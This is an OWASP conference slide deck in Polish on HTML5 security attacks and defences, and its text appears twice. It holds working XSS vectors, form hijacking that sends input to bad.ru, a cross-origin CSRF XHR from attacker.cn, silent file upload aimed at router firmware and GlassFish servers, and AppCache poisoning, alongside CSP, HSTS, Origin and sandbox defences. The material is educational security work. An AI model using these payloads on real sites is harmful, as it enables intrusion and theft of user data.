HTML5:
        atak i obrona

         Krzysztof Kotowicz

OWASP    SecuRing
         kkotowicz@securing.pl


          Copyright 2007 © The OWASP Foundation
          Permission is granted to copy, distribute and/or modify this document
          under the terms of the OWASP License.




          The OWASP Foundation
          http://www.owasp.org
$ id

 IT security consultant @ SecuRing
 Web security researcher
  (BlackHat USA, BruCON, Hack in Paris, ...)
 blog.kotowicz.net
 @kkotowicz




                                               OWASP   2
HTML5
(i pokrewne)




               OWASP   3
HTML5

 Upgrade wielu technologii używanych przez
  aplikacje webowe
 Dużo nowej dokumentacji
 Dużo nowego kodu
 Prace trwają od 2004




                                          OWASP   4
HTML5

 Bogaty, oparty na standardach klient
 Przenoszenie logiki na stronę klienta
  więcej danych
  więcej możliwości
 Nowe API
  Geolocation, Drag & Drop, Filesystem, WebSockets,
   WebWorkers, Touch Events...




                                               OWASP   5
HTML5 i bezpieczeństwo

 Wiele rozwiązań roboczych
 Tradycyjne webowe podatności HTML wciąż
  istnieją
  XSS
  CSRF
 Nowe API dostępne dla Javascriptu
 XSS zyskuje na znaczeniu




                                       OWASP   6
HTML5 - ataki
 (praktyczne)




                OWASP   7
XSS

 Filtry anty-XSS nie tylko w przeglądarkach!
 Nowe elementy, nowe atrybuty

 <iframe srcdoc='<b>html here</b>'>


 <video poster=javascript:alert(1)//></video>

 <form><button
 formaction="javascript:alert(1)">X</button>

 <math><maction actiontype="statusline"
 xlink:href="javascript:alert(3)">CLICKME<mtext
 >http://google.com</mtext></maction> </math>
                                            OWASP   8
XSS

 SVG, base64 - XSS i zaciemnnianie
  <svg><image style='filter:url("data:image/svg
  +xml,<svg xmlns=%22http://www.w3.org/2000/svg
  %22><script>parent.alert(1)</script></svg>")'></
  svg>

  <svg xmlns="http://www.w3.org/2000/svg"
  xmlns:xlink="http://www.w3.org/1999/xlink">
  <feImage> <set attributeName="xlink:href"
  to="data:image/svg+xml;charset=utf-8;base64,
  PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC
  9zdmciPjxzY3JpcHQ
  %2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/>
  </feImage> </svg>

                                            OWASP    9
Data: URI

 Użyj, jak kiedyś javascript:
// all
<a href=data:text/
html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a>

// IE
<link rel=stylesheet
      href=data:,*%7bx:expression(write(/xss/))%7d >

 Sprawdź przekierowania!

 http://vuln.pl/?redirect=data:text/html,....

 Location: data:text/html,...

                                                OWASP      10
Przechwytywanie formularzy

 Bez użycia Javascript


  <form id=f action=https://good.com>
  <input name=secret>
  </form>

  // anywhere in the document
  <button form=f formaction=http://
  bad.ru>CLICK
  </button>


                                      OWASP   11
Wykorzystanie XSS

 HTML5 pomaga przy eksploitacji
  WebSockets - wydajne połączenie z C&C
  Dane w DB, HTML5 filesystem, Web Storage

  // stealth mode
   history.pushState('/innocent-url')

   // wstrzyknięcie kodu
   localStorage['code']='alert(/1/)';
 
   // później
   eval(localStorage['code'])


                                              OWASP   12
Klasyczny XHR

 Tylko w ramach tej samej domeny




                                    OWASP   13
Cross Origin Resource Sharing

 Międzydomenowy




                                OWASP   14
CORS

 Międzydomenowe XHR, z poświadczeniami
  (credentials):
  cookies
  certyfikat SSL/TLS kliencki
  poświadczenia HTTP auth
 Docelowy serwer podejmuje decyzję
  Odsyła odpowiednie nagłówki




                                      OWASP   15
CORS




// http://attacker.cn
var xhr = new XMLHttpRequest();

xhr.open("POST", "http://victim.pl");
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.withCredentials = "true"; // cookies etc.
xhr.send("Anything");




                                            OWASP     16
CORS

 Żądanie XHR dociera do serwera
 Z poświadczeniami




 Można wykorzystać do Cross Site Request Forgery
  Tak jak <form>, <img src> itd.
  Nic nowego?


                                         OWASP      17
Cichy upload plików
                                                             ing ");
                                                   "An yth
                                        r.s end(
                                   xh

 Content-Type: multipart/form-data; boundary=AaB03x

 --AaB03x
 Content-Disposition: form-data; name="submit-name"

 Larry
 --AaB03x
 Content-Disposition: form-data; name="files";
 filename="file1.txt"
 Content-Type: text/plain

 ... contents of file1.txt ...
 --AaB03x--

                                                     OWASP        18
Cichy upload plików




     xhr.setRequestHeader("Content-Type",
        "multipart/form-data, boundary=xxx");

     xhr.send('
     --xxxrn
     Content-Disposition: form-data;
      name="files"; filename="file1.txt"rn
     Content-Type: text/plainrn
     rn
     ANYTHINGrn
     --xxx--');


                                          OWASP   19
Cichy upload plików

 Udaje multipart/form-data request z uploadem
  poprzez <input type=file>
 Użyj do:
  Zastąpienia firmware’u w routerach
  Przejęcia kontroli nad serwerami aplikacyjnymi

    logUrl = 'http://glassfishserver/
        management/domain/applications/
        application';
      fileUpload(c,"maliciousarchive.war");




                                                OWASP   20
Wstrzyknięcie treści

 http://website/#/a/page

  xhr.open("GET", "/a/page");


 https://touch.facebook.com/#http://
  example.com/xss.php

  HTTP/1.1 200 OK
  Access-Control-Allow-Origin: *
  Content-Type: text/html

  <img src=x onerror=alert(1)>

                                        OWASP   21
Offline web applications

 Cache offline

  <html manifest=/cache.manifest>
 Manifest
   Typ MIME text/cache-manifest
   CACHE MANIFEST
   /
   /main/home
   /main/app.js
   /settings/home
   /settings/app.js
   http://img.example.com/logo.png


 Cache odświeża się, kiedy zmieni się plik
                                              OWASP   22
Man in the middle



 Podgląd / zmiana ruchu
  XSS
  session hijack (Firesheep)
 Atak nietrwały




                                OWASP   23
AppCache poison

1. W trakcie MITM: wstrzyknięcie trucizny
  <html manifest="/robots.txt">                 CACHE MANIFEST
  ....<script>evil_foo()</script>               CACHE:
                                                http://victim/
                                                NETWORK:
                                                *
2. Po zakończeniu MITM:
  •   ofiara odwiedza stronę
  •   robots.txt ma niewłaściwy typ MIME
  •   zatruta strona pobierana z cache
  •   złośliwy kod uruchamia się
  •   ... aż do ręcznego wyczyszczenia offline cache
                                                       OWASP   24
AppCache poison




                  OWASP   25
AppCache poison

 Jak się bronić?
   SSL/TLS
   Wyczyszczenie
    offline cache




                    OWASP   26
HTML5 - obrona
(w trakcie budowy)




                     OWASP   27
HTML5 - metody obrony

   Content Security Policy (XSS)
   Nagłówek Origin (CSRF)
   HTTP Strict Transport Security (MITM)
   Iframe sandbox (izolacja treści)




                                            OWASP   28
Content Security Policy

 Polityka zapobiegająca m.in. XSS
 Firefox / Chrome / IE 10 / Safari
 Ciężka w implementacji

   <a onclick=....>   <script>code</script>

 Defense-in-depth




                                          OWASP   29
Content Security Policy



Content-Security-Policy:
  script-src 'self' https://apis.google.com;
  frame-src 'none'; object-src 'none'




                                      OWASP    30
Nagłówek Origin

   Referer: http://host:port/url/?a=1

    Często używany do zabezpieczenia przed CSRF

if (req.headers.referer
    && !req.headers.referer.match('ok.com')) {
    tell_attacker_to_get_lost();
} else {
    process();
}

    Kiedyś łatwy do podrobienia

                                              OWASP   31
Nagłówek Origin

 Łatwo pozbyć się nagłówka Referer!

  preferencje przeglądarki
  https:// → http://
  niemożliwa do ustalenia wartość

location = 'data:text/html,<html><meta http-
equiv="refresh" content="0; url=data:text/html,<form
id=f method=post action=''+url+''></
form><script>document.f.submit()</scri'+'pt>"></html>';




                                              OWASP       32
Nagłówek Origin

 szanuje prywatność

  Referer: http://host:port/naga-prawda
  Origin: http://host:port
 zachowany przy ruchu https:// → http://

 nie może być podrobiony

 nieznany →    Origin: null



                                            OWASP   33
HSTS

 HTTP Strict Transport Security
 Zabezpiecza przed atakami SSL stripping




       GET / HTTP/1.1
       Host: gmail.com

       HTTP/1.1 301 Be Secure
       Location: https://mail.google.com/



                                            OWASP   34
HSTS

Strict-Transport-Security: max-age=1576800;
   includeSubDomains

   Dozwolone tylko szyfrowane połączenia
   Ciche tłumaczenie http:// na https://
   “Hard fail” w przypadku błędów SSL/TLS




                                         OWASP   35
Iframe sandbox

 <script>user_id=4</script>
 <iframe sandbox src=untrusted-ad.aspx />


     Bez dostępu do DOM
     Bez skryptów
     Bez pluginów (Java, Flash, ...)
     Bez formularzy
     Bez framebusting
     Ograniczenia można wybiórczo wyłączać

                                          OWASP   36
Iframe sandbox



<iframe sandbox src="data:text/html,
<script>alert('haha!')</script>">
</iframe>

// attacker.com
<iframe sandbox="allow-scripts
allow-forms" src=http://clickjacked/ >
</iframe>




                                       OWASP   37
Podsumowanie

 Nowe możliwości, także dla atakującego
 XSS groźniejszy w skutkach

 Nowe narzędzia do obrony
 Warto je zastosować w kombinacji z tradycyjnymi
  metodami




                                           OWASP    38
Odnośniki

 html5security.org
 html5sec.org
 www.owasp.org/index.php/
  HTML5_Security_Cheat_Sheet

 github.com/koto/
 blog.kotowicz.net




                               OWASP   39

HTML5: Atak i obrona

  • 1.
    HTML5: atak i obrona Krzysztof Kotowicz OWASP SecuRing kkotowicz@securing.pl Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation http://www.owasp.org
  • 2.
    $ id  ITsecurity consultant @ SecuRing  Web security researcher (BlackHat USA, BruCON, Hack in Paris, ...)  blog.kotowicz.net  @kkotowicz OWASP 2
  • 3.
  • 4.
    HTML5  Upgrade wielutechnologii używanych przez aplikacje webowe  Dużo nowej dokumentacji  Dużo nowego kodu  Prace trwają od 2004 OWASP 4
  • 5.
    HTML5  Bogaty, opartyna standardach klient  Przenoszenie logiki na stronę klienta  więcej danych  więcej możliwości  Nowe API  Geolocation, Drag & Drop, Filesystem, WebSockets, WebWorkers, Touch Events... OWASP 5
  • 6.
    HTML5 i bezpieczeństwo Wiele rozwiązań roboczych  Tradycyjne webowe podatności HTML wciąż istnieją  XSS  CSRF  Nowe API dostępne dla Javascriptu  XSS zyskuje na znaczeniu OWASP 6
  • 7.
    HTML5 - ataki (praktyczne) OWASP 7
  • 8.
    XSS  Filtry anty-XSSnie tylko w przeglądarkach!  Nowe elementy, nowe atrybuty <iframe srcdoc='<b>html here</b>'> <video poster=javascript:alert(1)//></video> <form><button formaction="javascript:alert(1)">X</button> <math><maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext >http://google.com</mtext></maction> </math> OWASP 8
  • 9.
    XSS  SVG, base64- XSS i zaciemnnianie <svg><image style='filter:url("data:image/svg +xml,<svg xmlns=%22http://www.w3.org/2000/svg %22><script>parent.alert(1)</script></svg>")'></ svg> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <feImage> <set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64, PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC 9zdmciPjxzY3JpcHQ %2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/> </feImage> </svg> OWASP 9
  • 10.
    Data: URI  Użyj,jak kiedyś javascript: // all <a href=data:text/ html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a> // IE <link rel=stylesheet href=data:,*%7bx:expression(write(/xss/))%7d >  Sprawdź przekierowania! http://vuln.pl/?redirect=data:text/html,.... Location: data:text/html,... OWASP 10
  • 11.
    Przechwytywanie formularzy  Bezużycia Javascript <form id=f action=https://good.com> <input name=secret> </form> // anywhere in the document <button form=f formaction=http:// bad.ru>CLICK </button> OWASP 11
  • 12.
    Wykorzystanie XSS  HTML5pomaga przy eksploitacji  WebSockets - wydajne połączenie z C&C  Dane w DB, HTML5 filesystem, Web Storage  // stealth mode history.pushState('/innocent-url') // wstrzyknięcie kodu localStorage['code']='alert(/1/)';  // później eval(localStorage['code']) OWASP 12
  • 13.
    Klasyczny XHR  Tylkow ramach tej samej domeny OWASP 13
  • 14.
    Cross Origin ResourceSharing  Międzydomenowy OWASP 14
  • 15.
    CORS  Międzydomenowe XHR,z poświadczeniami (credentials):  cookies  certyfikat SSL/TLS kliencki  poświadczenia HTTP auth  Docelowy serwer podejmuje decyzję  Odsyła odpowiednie nagłówki OWASP 15
  • 16.
    CORS // http://attacker.cn var xhr= new XMLHttpRequest(); xhr.open("POST", "http://victim.pl"); xhr.setRequestHeader("Content-Type", "text/plain"); xhr.withCredentials = "true"; // cookies etc. xhr.send("Anything"); OWASP 16
  • 17.
    CORS  Żądanie XHRdociera do serwera  Z poświadczeniami  Można wykorzystać do Cross Site Request Forgery  Tak jak <form>, <img src> itd.  Nic nowego? OWASP 17
  • 18.
    Cichy upload plików ing "); "An yth r.s end( xh Content-Type: multipart/form-data; boundary=AaB03x --AaB03x Content-Disposition: form-data; name="submit-name" Larry --AaB03x Content-Disposition: form-data; name="files"; filename="file1.txt" Content-Type: text/plain ... contents of file1.txt ... --AaB03x-- OWASP 18
  • 19.
    Cichy upload plików xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=xxx"); xhr.send(' --xxxrn Content-Disposition: form-data; name="files"; filename="file1.txt"rn Content-Type: text/plainrn rn ANYTHINGrn --xxx--'); OWASP 19
  • 20.
    Cichy upload plików Udaje multipart/form-data request z uploadem poprzez <input type=file>  Użyj do:  Zastąpienia firmware’u w routerach  Przejęcia kontroli nad serwerami aplikacyjnymi logUrl = 'http://glassfishserver/ management/domain/applications/ application'; fileUpload(c,"maliciousarchive.war"); OWASP 20
  • 21.
    Wstrzyknięcie treści  http://website/#/a/page xhr.open("GET", "/a/page");  https://touch.facebook.com/#http:// example.com/xss.php HTTP/1.1 200 OK Access-Control-Allow-Origin: * Content-Type: text/html <img src=x onerror=alert(1)> OWASP 21
  • 22.
    Offline web applications Cache offline <html manifest=/cache.manifest>  Manifest  Typ MIME text/cache-manifest CACHE MANIFEST / /main/home /main/app.js /settings/home /settings/app.js http://img.example.com/logo.png  Cache odświeża się, kiedy zmieni się plik OWASP 22
  • 23.
    Man in themiddle  Podgląd / zmiana ruchu  XSS  session hijack (Firesheep)  Atak nietrwały OWASP 23
  • 24.
    AppCache poison 1. Wtrakcie MITM: wstrzyknięcie trucizny <html manifest="/robots.txt"> CACHE MANIFEST ....<script>evil_foo()</script> CACHE: http://victim/ NETWORK: * 2. Po zakończeniu MITM: • ofiara odwiedza stronę • robots.txt ma niewłaściwy typ MIME • zatruta strona pobierana z cache • złośliwy kod uruchamia się • ... aż do ręcznego wyczyszczenia offline cache OWASP 24
  • 25.
  • 26.
    AppCache poison  Jaksię bronić?  SSL/TLS  Wyczyszczenie offline cache OWASP 26
  • 27.
    HTML5 - obrona (wtrakcie budowy) OWASP 27
  • 28.
    HTML5 - metodyobrony  Content Security Policy (XSS)  Nagłówek Origin (CSRF)  HTTP Strict Transport Security (MITM)  Iframe sandbox (izolacja treści) OWASP 28
  • 29.
    Content Security Policy Polityka zapobiegająca m.in. XSS  Firefox / Chrome / IE 10 / Safari  Ciężka w implementacji <a onclick=....> <script>code</script>  Defense-in-depth OWASP 29
  • 30.
    Content Security Policy Content-Security-Policy: script-src 'self' https://apis.google.com; frame-src 'none'; object-src 'none' OWASP 30
  • 31.
    Nagłówek Origin Referer: http://host:port/url/?a=1  Często używany do zabezpieczenia przed CSRF if (req.headers.referer && !req.headers.referer.match('ok.com')) { tell_attacker_to_get_lost(); } else { process(); }  Kiedyś łatwy do podrobienia OWASP 31
  • 32.
    Nagłówek Origin  Łatwopozbyć się nagłówka Referer!  preferencje przeglądarki  https:// → http://  niemożliwa do ustalenia wartość location = 'data:text/html,<html><meta http- equiv="refresh" content="0; url=data:text/html,<form id=f method=post action=''+url+''></ form><script>document.f.submit()</scri'+'pt>"></html>'; OWASP 32
  • 33.
    Nagłówek Origin  szanujeprywatność Referer: http://host:port/naga-prawda Origin: http://host:port  zachowany przy ruchu https:// → http://  nie może być podrobiony  nieznany → Origin: null OWASP 33
  • 34.
    HSTS  HTTP StrictTransport Security  Zabezpiecza przed atakami SSL stripping GET / HTTP/1.1 Host: gmail.com HTTP/1.1 301 Be Secure Location: https://mail.google.com/ OWASP 34
  • 35.
    HSTS Strict-Transport-Security: max-age=1576800; includeSubDomains  Dozwolone tylko szyfrowane połączenia  Ciche tłumaczenie http:// na https://  “Hard fail” w przypadku błędów SSL/TLS OWASP 35
  • 36.
    Iframe sandbox <script>user_id=4</script> <iframe sandbox src=untrusted-ad.aspx />  Bez dostępu do DOM  Bez skryptów  Bez pluginów (Java, Flash, ...)  Bez formularzy  Bez framebusting  Ograniczenia można wybiórczo wyłączać OWASP 36
  • 37.
    Iframe sandbox <iframe sandboxsrc="data:text/html, <script>alert('haha!')</script>"> </iframe> // attacker.com <iframe sandbox="allow-scripts allow-forms" src=http://clickjacked/ > </iframe> OWASP 37
  • 38.
    Podsumowanie  Nowe możliwości,także dla atakującego  XSS groźniejszy w skutkach  Nowe narzędzia do obrony  Warto je zastosować w kombinacji z tradycyjnymi metodami OWASP 38
  • 39.
    Odnośniki  html5security.org  html5sec.org www.owasp.org/index.php/ HTML5_Security_Cheat_Sheet  github.com/koto/  blog.kotowicz.net OWASP 39